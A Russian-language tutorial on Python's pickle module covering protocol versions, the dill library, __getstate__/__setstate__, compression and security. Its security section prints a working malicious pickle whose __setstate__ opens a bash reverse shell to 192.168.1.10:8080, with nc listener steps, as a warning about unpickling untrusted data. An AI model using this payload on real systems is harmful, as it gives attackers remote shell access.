Форматы протоколов модуля pickle
Модуль pickle специфичен для Python — результаты сериализации могут быть прочитаны только другой программой на Python. Но даже если вы работаете только с Python, полезно знать, как модуль эволюционировал со временем. От версии протокола зависит совместимость. Сейчас существует 6 версий протоколов:
- 0 — в отличие от более поздних протоколов, был удобочитаемым.
- 1 — первый двоичный формат.
- 2 — представлен в Python 2.3.
- 3 — добавлен в Python 3.0. Его нельзя выбрать в версиях Python 2.x.
- 4 — добавлен в Python 3.4, поддерживает более широкий диапазон размеров и типов объектов, и является протоколом по умолчанию с версии 3.8.
- 5 — добавлен в Python 3.8, имеет поддержку внеполосных данных и улучшает скорость для внутриполосных.
Более новые версии предлагают больше функций и улучшений, но ограничены более высокими версиями интерпретатора. Учитывайте это при выборе протокола. Самый высокий протокол, поддерживаемый интерпретатором, хранится в атрибуте pickle.HIGHEST_PROTOCOL .
Чтобы выбрать конкретный протокол, укажите версию протокола при вызове функции модуля. Иначе будет использоваться версия, соответствующая атрибуту pickle.DEFAULT_PROTOCOL .
Сериализуемые и несериализуемые типы
Мы уже знаем, что модуль pickle сериализует гораздо больше типов, чем json . Но всё-таки не все. Список несериализуемых с помощью pickle объектов включает соединения с базами данных, открытые сетевые сокеты и действующие потоки. Если вы столкнулись с несериализуемым объектом, есть несколько способов решения проблемы. Первый вариант – использовать стороннюю библиотеку dill .
Модуль dill расширяет возможности pickle . Согласно официальной документации он позволяет сериализовать менее распространённые типы данных, например, вложенные функции (inner functions) и лямбда-выражения. Проверим на примере:
import pickle square = lambda x : x * x my_pickle = pickle.dumps(square)
Попытавшись запустить эту программу, мы получим исключение: pickle не может сериализовать лямбда-функцию:
$ python pickling_error.py Traceback (most recent call last): File "pickling_error.py", line 6, in my_pickle = pickle.dumps(square) _pickle.PicklingError: Can't pickle at 0x10cd52cb0>: attribute lookup on __main__ failed
Попробуем заменить pickle на dill (библиотеку можно установить с помощью pip):
import dill square = lambda x: x * x my_pickle = dill.dumps(square) print(my_pickle)
Запустим код и увидим, что модуль dill сериализует лямбда-функцию без ошибок:
$ python pickling_dill.py b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\rc__builtin__\n__main__\nh\nNN>q\x0eNtq\x0fRq\x10.'
Ещё одна особенность dill заключается в том, что он умеет сериализовать сеанс интерпретатора:
>>> square = lambda x : x * x >>> a = square(35) >>> import math >>> b = math.sqrt(484) >>> import dill >>> dill.dump_session('test.pkl') >>> exit()
В этом примере после запуска интерпретатора и ввода нескольких выражений мы импортируем модуль dill и вызываем dump_session() для сериализации сеанса в файле test.pkl в текущем каталоге:
$ ls test.pkl 4 -rw-r--r--@ 1 dave staff 439 Feb 3 10:52 test.pkl
Запустим новый экземпляр интерпретатора и загрузим файл test.pkl для восстановления последнего сеанса:
>>> import dill >>> dill.load_session('test.pkl') >>> a 1225 >>> b 22.0 >>> square at 0x10a013a70>
Прежде чем начать использовать dill вместо pickle , имейте в виду, что dill не включён в стандартную библиотеку Python и обычно работает медленнее, чем pickle .
Модуль dill охватывает гораздо более широкий диапазон объектов, чем pickle , но не решает всех проблем сериализации. К примеру, даже dill не может сериализовать объект, содержащий соединение с базой данных.
В подобных случаях нужно исключить несериализуемый объект из процесса сериализации и повторно инициализировать после десериализации.
Чтобы указать, что должно быть включено в процесс сериализации, нужно использовать метод __getstate__() . Если этот метод не переопределён, будет использоваться дефолтный __dict__() .
В следующем примере показано, как можно определить класс с несколькими атрибутами и исключить один атрибут из сериализации с помощью __getstate__() :
import pickle class foobar: def __init__(self): self.a = 35 self.b = "test" self.c = lambda x: x * x def __getstate__(self): attributes = self.__dict__.copy() del attributes['c'] return attributes my_foobar_instance = foobar() my_pickle_string = pickle.dumps(my_foobar_instance) my_new_instance = pickle.loads(my_pickle_string) print(my_new_instance.__dict__)
В приведённом примере мы создаём объект с тремя атрибутами. Поскольку один из атрибутов – это лямбда-объект, его нельзя обработать с помощью pickle . Поэтому в __getstate__() мы сначала клонируем весь __dict__ , а затем удаляем несериализуемый атрибут с .
Если мы запустим этот пример, а затем десериализуем объект, то увидим, что новый экземпляр не содержит атрибут c :
Мы также можем выполнить дополнительные инициализации в процессе десериализации. Например, добавить исключённый объект c обратно в десериализованную сущность. Для этого используется метод __setstate__() :
import pickle class foobar: def __init__(self): self.a = 35 self.b = "test" self.c = lambda x: x * x def __getstate__(self): attributes = self.__dict__.copy() del attributes['c'] return attributes def __setstate__(self, state): self.__dict__ = state self.c = lambda x: x * x my_foobar_instance = foobar() my_pickle_string = pickle.dumps(my_foobar_instance) my_new_instance = pickle.loads(my_pickle_string) print(my_new_instance.__dict__)
Сжатие сериализованных объектов
Формат данных pickle является компактным двоичным представлением структуры объекта, но мы всё равно можем её оптимизировать, используя сжатие. Для bzip2-сжатия сериализованной строки можно использовать модуль стандартной библиотеки bz2 :
>>> import pickle >>> import bz2 >>> my_string = """Хотя формат данных pickle является компактным двоичным представлением структуры объекта, мы всё равно можем её оптимизировать, используя bzip2 или gzip. Для сжатия сериализованной строки можно использовать модуль стандартной библиотеки bz2. При использовании сжатия помните, что файлы меньшего размера создаются за счет более медленного алгоритма. И совсем малые объекты не получают выигрыша при сжатии. """ >>> pickled = pickle.dumps(my_string) >>> compressed = bz2.compress(pickled) >>> len(my_string) 404 >>> len(compressed) 360
Безопасность отправки данных в формате pickle
Процесс сериализации удобен, когда необходимо сохранить состояние объекта на диск или передать по сети. Однако это не всегда безопасно. Как мы обсудили выше, при десериализации объекта в методе __setstate__() может выполняться любой произвольный код. В том числе код злоумышленника.
Простое правило гласит: никогда не десериализуйте данные, поступившие из подозрительного источника или ненадёжной сети. Чтобы предотвратить атаку посредника, используйте модуль стандартной библиотеки hmac для создания подписей и их проверки.
В следующем примере показано, как десериализация файла pickle , присланного злоумышленником, открывает доступ к системе:
import pickle import os class foobar: def __init__(self): pass def __getstate__(self): return self.__dict__ def __setstate__(self, state): # The attack is from 192.168.1.10 # The attacker is listening on port 8080 os.system('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"') my_foobar = foobar() my_pickle = pickle.dumps(my_foobar) my_unpickle = pickle.loads(my_pickle)
В этом примере в процессе распаковки в __setstate__() будет выполнена команда Bash, открывающая удалённую оболочку для компьютера 192.168.1.10 через порт 8080 .
Вы можете протестировать этот скрипт на Mac или Linux, открыв терминал и набрав команду nc для прослушивания порта 8080 :
Это будет терминал атакующего. Затем открываем терминал на том же компьютере (или другом компьютере той же сети) и выполняем приведённый код Python. IP-адрес в коде нужно заменить на IP-адрес атакующего терминала. Выполнив следующую команду, жертва предоставит атакующему доступ:
При запуске скрипта жертвой в терминале злоумышленника оболочка Bash перейдёт в активное состояние:
$ nc -l 8080 bash: no job control in this shell
Эта консоль позволить атакующему работать непосредственно на вашей системе.
Заключение
Теперь вы знаете, как работать с модулями pickle и dill для преобразования иерархии объектов со сложной структурой в поток байтов. Структуры можно сохранять на диск или передавать в виде байтовой строки по сети. Вы также знаете, что процесс десериализации нужно использовать с осторожностью. Если у вас остались вопросы, задайте их в комментарии под постом.